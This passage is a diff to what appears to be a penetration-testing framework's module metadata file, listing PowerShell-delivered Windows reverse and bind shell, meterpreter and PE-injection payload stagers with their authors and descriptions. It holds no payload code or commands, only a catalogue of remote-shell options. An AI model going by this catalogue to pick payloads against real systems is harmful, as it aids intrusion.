"adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/shell/reverse_tcp_rc4": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_rc4", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_http": { + "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_http", "aliases": [ ], @@ -185640,16 +205377,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", - "sf ", - "hdm ", "skape ", - "mihi", - "RageLtMan" + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185658,20 +205393,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_http", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_http", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_http" }, - "payload_cmd/windows/powershell/shell/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_https": { + "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_https", "aliases": [ ], @@ -185680,16 +205421,17 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "skape ", "sf ", + "OJ Reeves", "hdm ", - "skape ", - "mihi", - "RageLtMan" + "agix", + "rwincey" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185698,20 +205440,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_https", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_https", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_https" }, - "payload_cmd/windows/powershell/shell/reverse_tcp_uuid": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_uuid", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_named_pipe": { + "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_named_pipe", "aliases": [ ], @@ -185720,14 +205468,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "skape ", "sf ", - "hdm ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185736,20 +205484,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_named_pipe" }, - "payload_cmd/windows/powershell/shell/reverse_udp": { - "name": "Powershell Exec, Windows Command Shell, Reverse UDP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/shell/reverse_udp", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp": { + "name": "Powershell Exec, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp", "aliases": [ ], @@ -185758,13 +205512,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "spoonm ", + "skape ", "sf ", - "RageLtMan " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185773,20 +205528,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell/reverse_udp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp" }, - "payload_cmd/windows/powershell/shell_bind_tcp": { - "name": "Powershell Exec, Windows Command Shell, Bind TCP Inline", - "fullname": "payload/cmd/windows/powershell/shell_bind_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4", "aliases": [ ], @@ -185795,12 +205556,18 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf " + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection and spawn a command shell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185809,20 +205576,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell_bind_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/shell_bind_tcp_xpfw": { - "name": "Powershell Exec, Windows Disable Windows ICF, Command Shell, Bind TCP Inline", - "fullname": "payload/cmd/windows/powershell/shell_bind_tcp_xpfw", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid", "aliases": [ ], @@ -185831,11 +205604,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "Lin0xx " + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nDisable the Windows ICF, then listen for a connection and spawn a command shell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185844,20 +205620,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell_bind_tcp_xpfw", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/shell_hidden_bind_tcp": { - "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Inline", - "fullname": "payload/cmd/windows/powershell/shell_hidden_bind_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttp": { + "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttp", "aliases": [ ], @@ -185866,13 +205648,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sd", - "Borja Merino " + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from certain IP and spawn a command shell.\nThe shellcode will reply with a RST packet if the connections is not\ncoming from the IP defined in AHOST. This way the port will appear\nas \"closed\" helping us to hide the shellcode.", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185881,20 +205664,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell_hidden_bind_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttp" }, - "payload_cmd/windows/powershell/shell_reverse_tcp": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Inline", - "fullname": "payload/cmd/windows/powershell/shell_reverse_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttps": { + "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttps", "aliases": [ ], @@ -185903,12 +205692,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf " + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to attacker and spawn a command shell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185917,20 +205708,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell_reverse_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttps" }, - "payload_cmd/windows/powershell/speak_pwned": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/speak_pwned", + "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp", "aliases": [ ], @@ -185939,9 +205736,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "Berend-Jan \"SkyLined\" Wever " + "ege ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x64)", "references": [ ], @@ -185952,20 +205750,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/speak_pwned", + "ref_name": "cmd/windows/powershell/x64/peinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp", + "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -185974,13 +205778,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", + "ege ", "sf ", - "hdm ", - "skape ", - "Borja Merino " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ ], @@ -185991,20 +205793,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/upexec/bind_hidden_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/upexec/bind_hidden_tcp", + "payload_cmd/windows/powershell/x64/peinject/bind_named_pipe": { + "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_named_pipe", "aliases": [ ], @@ -186013,13 +205821,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape ", - "Borja Merino " + "ege ", + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x64)", "references": [ ], @@ -186030,20 +205835,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/x64/peinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_named_pipe" }, - "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/upexec/bind_ipv6_tcp", + "payload_cmd/windows/powershell/x64/peinject/bind_tcp": { + "name": "Powershell Exec, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp", "aliases": [ ], @@ -186052,12 +205863,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape " + "ege ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for an IPv6 connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection (Windows x64)", "references": [ ], @@ -186068,20 +205877,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/x64/peinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp" }, - "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell/x64/peinject/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp_rc4", "aliases": [ ], @@ -186090,13 +205905,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", + "ege ", "hdm ", "skape ", - "OJ Reeves" + "sf ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], @@ -186107,20 +205924,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/peinject/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, - "payload_cmd/windows/powershell/upexec/bind_named_pipe": { - "name": "Powershell Exec, Windows Upload/Execute, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/upexec/bind_named_pipe", + "payload_cmd/windows/powershell/x64/peinject/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp_uuid", "aliases": [ ], @@ -186129,11 +205952,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", + "ege ", "sf ", - "UserExistsError" + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a pipe connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ ], @@ -186144,20 +205967,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_named_pipe", + "ref_name": "cmd/windows/powershell/x64/peinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/upexec/bind_nonx_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/upexec/bind_nonx_tcp", + "payload_cmd/windows/powershell/x64/peinject/reverse_named_pipe": { + "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_named_pipe", "aliases": [ ], @@ -186166,10 +205995,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf " + "ege ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection (No NX)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", "references": [ ], @@ -186180,20 +206009,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/x64/peinject/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_named_pipe" }, - "payload_cmd/windows/powershell/upexec/bind_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp", + "payload_cmd/windows/powershell/x64/peinject/reverse_tcp": { + "name": "Powershell Exec, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp", "aliases": [ ], @@ -186202,12 +206037,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape " + "ege ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker (Windows x64)", "references": [ ], @@ -186218,20 +206051,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_tcp", + "ref_name": "cmd/windows/powershell/x64/peinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp" }, - "payload_cmd/windows/powershell/upexec/bind_tcp_rc4": { - "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp_rc4", + "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp_rc4", "aliases": [ ], @@ -186240,14 +206079,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", + "ege ", "hdm ", "skape ", + "sf ", "mihi", + "max3raza", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], @@ -186258,20 +206098,26 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/x64/peinject/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/upexec/bind_tcp_uuid": { - "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp_uuid", + "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp_uuid", "aliases": [ ], @@ -186280,12 +206126,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", + "ege ", "sf ", - "hdm ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x64 